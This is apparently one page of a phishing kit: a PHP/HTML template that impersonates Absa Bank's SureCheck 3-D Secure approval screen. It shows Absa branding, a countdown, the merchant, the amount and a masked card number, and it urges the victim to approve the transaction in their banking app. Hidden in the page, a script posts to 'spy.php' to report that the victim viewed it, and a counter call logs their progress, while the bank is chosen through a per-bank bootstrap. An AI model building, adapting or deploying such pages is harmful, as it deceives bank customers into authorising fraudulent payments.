<?php
$bankKey = 'absa';
require __DIR__ . '/includes/bank-3ds-bootstrap.php';
$timerSeconds = 270; // 04:30 SureCheck window
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Banking App Authentication — Absa</title>
    <link rel="stylesheet" href="themes/css/bank-3ds.css" />
    <style>body.b3-page { --b3-primary: <?= htmlspecialchars($bankColor, ENT_QUOTES, 'UTF-8') ?>; }</style>
</head>
<body class="b3-page b3-page--absa">

<div class="b3-sheet">
    <header class="b3-head">
        <img class="b3-bank-logo" src="<?= htmlspecialchars($bankLogo, ENT_QUOTES, 'UTF-8') ?>"
            alt="<?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?>" />
        <div class="b3-scheme">
            <?php if ($schemeMode === 'mc') { ?>
            <img class="b3-scheme-logo" src="assets/img/card_logo_mc.svg" alt="Mastercard" />
            <?php } else { ?>
            <img class="b3-scheme-logo" src="assets/img/card_logo_visa.svg" alt="Visa" />
            <?php } ?>
        </div>
    </header>

    <main class="b3-main">
        <h1 class="b3-title">Banking App Authentication required</h1>

        <div class="b3-timer" aria-live="polite">
            <svg class="b3-timer-ring" viewBox="0 0 120 120" aria-hidden="true">
                <circle class="b3-timer-track" cx="60" cy="60" r="52" />
                <circle class="b3-timer-progress" id="timerProgress" cx="60" cy="60" r="52" />
            </svg>
            <span class="b3-timer-text" id="timerText">04:30</span>
        </div>
<?php require __DIR__ . '/includes/approv-timer-script.php'; ?>

        <p class="b3-lead" style="text-align:center;max-width:340px;margin-left:auto;margin-right:auto;">
            A SureCheck notification is sent to your primary device. Go to your app to verify this transaction.
        </p>

        <p class="b3-promo">
            As an Absa Rewards customer you can get up to 30% cashback, depending on your rewards tier.
        </p>

        <dl class="b3-details">
            <div>
                <dt>Merchant:</dt>
                <dd><?= htmlspecialchars($merchant, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Amount:</dt>
                <dd><?= htmlspecialchars($amountDisplay, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Date:</dt>
                <dd><?= htmlspecialchars($digDateAbsa, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Card Number:</dt>
                <dd><?= htmlspecialchars($cardAbsaMask, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
        </dl>

        <div class="b3-cancel-wrap">
            <a class="b3-cancel" href="wait.php?p=cancel">CANCEL</a>
        </div>

        <div class="b3-faq">
            <details>
                <summary>What happens when you click Submit?<span class="b3-faq-plus">+</span></summary>
                <p>Open the Absa Banking App and approve the SureCheck request. Once approved, this payment will continue automatically.</p>
            </details>
            <details>
                <summary>Do you suspect fraud?<span class="b3-faq-plus">+</span></summary>
                <p>Cancel this payment and contact Absa immediately if you did not start this transaction.</p>
            </details>
        </div>

        <a class="b3-footer-cancel" href="wait.php?p=cancel">Cancel</a>
    </main>
</div>

<script src="res/jq.js"></script>
<script>
if (window.jQuery) { jQuery.post('spy.php', { approvview: 1 }); }
</script>
<?php $m->ctr('APPROV AA'); ?>
</body>
</html>
